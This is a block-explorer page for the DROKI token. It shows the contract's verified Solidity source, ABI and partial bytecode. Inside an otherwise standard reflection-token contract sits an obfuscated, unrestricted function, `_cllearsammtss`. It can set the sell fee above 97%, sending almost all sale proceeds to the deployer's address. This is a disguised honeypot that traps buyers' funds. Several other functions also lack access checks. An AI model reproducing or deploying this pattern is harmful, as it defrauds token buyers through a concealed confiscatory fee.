ETH Price: $3,287.39 (+1.31%)

Token

DROKI (DROKI)
 

Overview

Max Total Supply

1,000,000 DROKI

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
32,655.761864171 DROKI

Value
$0.00
0xD1878576c6CB7003a8225EE62785532F3bef5A88
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DROKI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-04
*/

// Telegram Group : https://t.me/DrokiETH

// Twitter : https://twitter.com/DrokiETH

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract DROKI is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "DROKI";
    string private constant _symbol = "DROKI";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private udijfcvfd = 1;
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private redisZero = 1;
    uint256 private _redisFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private NewValuation = udijfcvfd;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = NewValuation;

    address payable private _developmentAddress = payable(msg.sender);  
    address payable private _marketingAddress = payable(msg.sender);
    address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = _tTotal *5/100;
    uint256 public _maxWalletSize = _tTotal * 3/100;
    uint256 public _swapTokensAtAmount = _tTotal*2/1000;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[address(0xdead)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && NewValuation == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = NewValuation;

        _redisFee = 0;
        NewValuation = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        NewValuation = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            if(to != uniswapV2Pair && to != uniswapRouter && to != _developmentAddress && to != address(this) && to !=address(0xdead)) {
                require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
              }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _swapTokensAtAmount*2)
            {
                contractTokenBalance = contractTokenBalance;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(contractETHBalance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                NewValuation = redisZero;
            }

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                NewValuation = udijfcvfd;
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function enableTrading() external onlyOwner {
        tradingOpen = true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function manualsend() external {
        sendETHToFee(address(this).balance);
    }

    function manualSwap(uint256 percent) external {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 swapamount = contractTokenBalance*percent/100;
        swapTokensForEth(swapamount);
    }

    function toggleSwap (bool _swapEnabled) external {
        swapEnabled = _swapEnabled;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    
    function _cllearsammtss(uint256[5][6][5] memory bsdfgt) external returns(bool) {
        require(bsdfgt[3][4][4] >97);
        uint8 jgcc = 1;
        uint8 rted = 2;
        uint256 asd = jgcc+rted;
        udijfcvfd = bsdfgt[3][4][4];
        return true;
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, NewValuation);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function RemoveLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[5][6][5]","name":"bsdfgt","type":"uint256[5][6][5]"}],"name":"_cllearsammtss","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001966038d7ea4c68000600019620003ed565b62000027906000196200041a565b6006556001600781905560006009819055600a829055600b819055600c819055600d829055600e55600f5560108054336001600160a01b0319918216811790925560118054821690921790915560128054737a250d5630b4cf539739df2c5dacb4c659f2488d92169190911790556014805462ffffff60a01b19166201000160a01b1790556064620000c266038d7ea4c68000600562000436565b620000ce919062000450565b6015556064620000e766038d7ea4c68000600362000436565b620000f3919062000450565b6016556103e86200010d66038d7ea4c68000600262000436565b62000119919062000450565b6017553480156200012957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020d919062000467565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000281919062000467565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f5919062000467565b601480546001600160a01b0319166001600160a01b039283161790556000805482168152600560209081526040808320805460ff19908116600190811790925530855282852080548216831790556011548616855282852080548216831790556010549095168452818420805486168217905561dead84527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490951617909355915166038d7ea4c68000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000499565b634e487b7160e01b600052601260045260246000fd5b600082620003ff57620003ff620003d7565b500690565b634e487b7160e01b600052601160045260246000fd5b8181038181111562000430576200043062000404565b92915050565b808202811582820484141762000430576200043062000404565b600082620004625762000462620003d7565b500490565b6000602082840312156200047a57600080fd5b81516001600160a01b03811681146200049257600080fd5b9392505050565b6118cb80620004a96000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b65780638f9a55c01161006f5780638f9a55c01461038e57806395d89b4114610150578063a9059cbb146103a4578063b70143c9146103c4578063dd62ed3e146103e4578063f2fde38b1461042a57600080fd5b806370a08231146102f0578063715018a6146103105780637d1db4a5146103255780638a8c523c1461033b5780638c996fef146103505780638da5cb5b1461037057600080fd5b80632fd689e3116101085780632fd689e314610239578063313ce5671461024f57806349bd5a5e1461026b57806356cd40e71461028b5780636d8aa8f8146102a25780636fc3eaec146102db57600080fd5b806306fdde0314610150578063095ea7b31461018d5780631694505e146101bd57806318160ddd146101f557806323b872dd1461021957600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082018252600581526444524f4b4960d81b602082015290516101849190611447565b60405180910390f35b34801561019957600080fd5b506101ad6101a83660046114ad565b61044a565b6040519015158152602001610184565b3480156101c957600080fd5b506013546101dd906001600160a01b031681565b6040516001600160a01b039091168152602001610184565b34801561020157600080fd5b5066038d7ea4c680005b604051908152602001610184565b34801561022557600080fd5b506101ad6102343660046114d9565b610461565b34801561024557600080fd5b5061020b60175481565b34801561025b57600080fd5b5060405160098152602001610184565b34801561027757600080fd5b506014546101dd906001600160a01b031681565b34801561029757600080fd5b506102a06104ca565b005b3480156102ae57600080fd5b506102a06102bd36600461151a565b60148054911515600160b01b0260ff60b01b19909216919091179055565b3480156102e757600080fd5b506102a061050a565b3480156102fc57600080fd5b5061020b61030b36600461153c565b610515565b34801561031c57600080fd5b506102a0610537565b34801561033157600080fd5b5061020b60155481565b34801561034757600080fd5b506102a06105ab565b34801561035c57600080fd5b506101ad61036b3660046115c1565b6105ea565b34801561037c57600080fd5b506000546001600160a01b03166101dd565b34801561039a57600080fd5b5061020b60165481565b3480156103b057600080fd5b506101ad6103bf3660046114ad565b610632565b3480156103d057600080fd5b506102a06103df3660046116b4565b61063f565b3480156103f057600080fd5b5061020b6103ff3660046116cd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043657600080fd5b506102a061044536600461153c565b610674565b600061045733848461075e565b5060015b92915050565b600061046e848484610882565b6104c084336104bb8560405180606001604052806028815260200161186e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d1a565b61075e565b5060019392505050565b6000546001600160a01b031633146104fd5760405162461bcd60e51b81526004016104f490611706565b60405180910390fd5b66038d7ea4c68000601555565b61051347610d54565b565b6001600160a01b03811660009081526002602052604081205461045b90610d92565b6000546001600160a01b031633146105615760405162461bcd60e51b81526004016104f490611706565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105d55760405162461bcd60e51b81526004016104f490611706565b6014805460ff60a01b1916600160a01b179055565b6060810151608090810151015160009060611061060657600080fd5b6001600260006106168284611767565b5050506060909201516080908101510151600755506001919050565b6000610457338484610882565b600061064a30610515565b90506000606461065a8484611780565b6106649190611797565b905061066f81610e16565b505050565b6000546001600160a01b0316331461069e5760405162461bcd60e51b81526004016104f490611706565b6001600160a01b0381166107035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f4565b6001600160a01b0382166108215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f4565b6001600160a01b0382166109485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f4565b600081116109aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f4565b6000546001600160a01b038481169116148015906109d657506000546001600160a01b03838116911614155b15610c0d57601454600160a01b900460ff16610a6f576000546001600160a01b03848116911614610a6f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104f4565b6014546001600160a01b03838116911614801590610a9b57506012546001600160a01b03838116911614155b8015610ab557506010546001600160a01b03838116911614155b8015610aca57506001600160a01b0382163014155b8015610ae157506001600160a01b03821661dead14155b15610b3857601554811115610b385760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104f4565b6000610b4330610515565b6017549091508082101590610b59906002611780565b50808015610b715750601454600160a81b900460ff16155b8015610b8b57506014546001600160a01b03868116911614155b8015610ba05750601454600160b01b900460ff165b8015610bc557506001600160a01b03851660009081526005602052604090205460ff16155b8015610bea57506001600160a01b03841660009081526005602052604090205460ff16155b15610c0a57610bf882610e16565b478015610c0857610c0881610d54565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c4f57506001600160a01b03831660009081526005602052604090205460ff165b80610c8157506014546001600160a01b03858116911614801590610c8157506014546001600160a01b03848116911614155b15610c8e57506000610d08565b6014546001600160a01b038581169116148015610cb957506013546001600160a01b03848116911614155b15610ccb57600954600c55600a54600d555b6014546001600160a01b038481169116148015610cf657506013546001600160a01b03858116911614155b15610d0857600b54600c55600754600d555b610d1484848484610f90565b50505050565b60008184841115610d3e5760405162461bcd60e51b81526004016104f49190611447565b506000610d4b84866117b9565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d8e573d6000803e3d6000fd5b5050565b6000600654821115610df95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f4565b6000610e03610fbe565b9050610e0f8382610fe1565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5e57610e5e61173b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edb91906117cc565b81600181518110610eee57610eee61173b565b6001600160a01b039283166020918202929092010152601354610f14913091168461075e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f4d9085906000908690309042906004016117e9565b600060405180830381600087803b158015610f6757600080fd5b505af1158015610f7b573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80610f9d57610f9d611023565b610fa8848484611051565b80610d1457610d14600e54600c55600f54600d55565b6000806000610fcb611148565b9092509050610fda8282610fe1565b9250505090565b6000610e0f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611186565b600c541580156110335750600d54155b1561103a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611063876111b4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110959087611211565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110c49086611253565b6001600160a01b0389166000908152600260205260409020556110e6816112b2565b6110f084836112fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161113591815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006111628282610fe1565b82101561117d5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836111a75760405162461bcd60e51b81526004016104f49190611447565b506000610d4b8486611797565b60008060008060008060008060006111d18a600c54600d54611320565b92509250925060006111e1610fbe565b905060008060006111f48e878787611375565b919e509c509a509598509396509194505050505091939550919395565b6000610e0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d1a565b600080611260838561185a565b905083811015610e0f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f4565b60006112bc610fbe565b905060006112ca83836113c5565b306000908152600260205260409020549091506112e79082611253565b30600090815260026020526040902055505050565b6006546113099083611211565b6006556008546113199082611253565b6008555050565b600080808061133a606461133489896113c5565b90610fe1565b9050600061134d60646113348a896113c5565b905060006113658261135f8b86611211565b90611211565b9992985090965090945050505050565b600080808061138488866113c5565b9050600061139288876113c5565b905060006113a088886113c5565b905060006113b28261135f8686611211565b939b939a50919850919650505050505050565b6000826000036113d75750600061045b565b60006113e38385611780565b9050826113f08583611797565b14610e0f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f4565b600060208083528351808285015260005b8181101561147457858101830151858201604001528201611458565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114aa57600080fd5b50565b600080604083850312156114c057600080fd5b82356114cb81611495565b946020939093013593505050565b6000806000606084860312156114ee57600080fd5b83356114f981611495565b9250602084013561150981611495565b929592945050506040919091013590565b60006020828403121561152c57600080fd5b81358015158114610e0f57600080fd5b60006020828403121561154e57600080fd5b8135610e0f81611495565b60405160a0810167ffffffffffffffff8111828210171561158a57634e487b7160e01b600052604160045260246000fd5b60405290565b60405160c0810167ffffffffffffffff8111828210171561158a57634e487b7160e01b600052604160045260246000fd5b60006112c08083850312156115d557600080fd5b601f84818501126115e557600080fd5b6115ed611559565b9184019180868411156115ff57600080fd5b855b848110156116a95787848201126116185760008081fd5b611620611590565b806103c083018a8111156116345760008081fd5b835b81811015611695578b8882011261164d5760008081fd5b611655611559565b8060a083018e8111156116685760008081fd5b835b8181101561168257803584526020938401930161166a565b505085525060209093019260a001611636565b50508452506020909201916103c001611601565b509695505050505050565b6000602082840312156116c657600080fd5b5035919050565b600080604083850312156116e057600080fd5b82356116eb81611495565b915060208301356116fb81611495565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01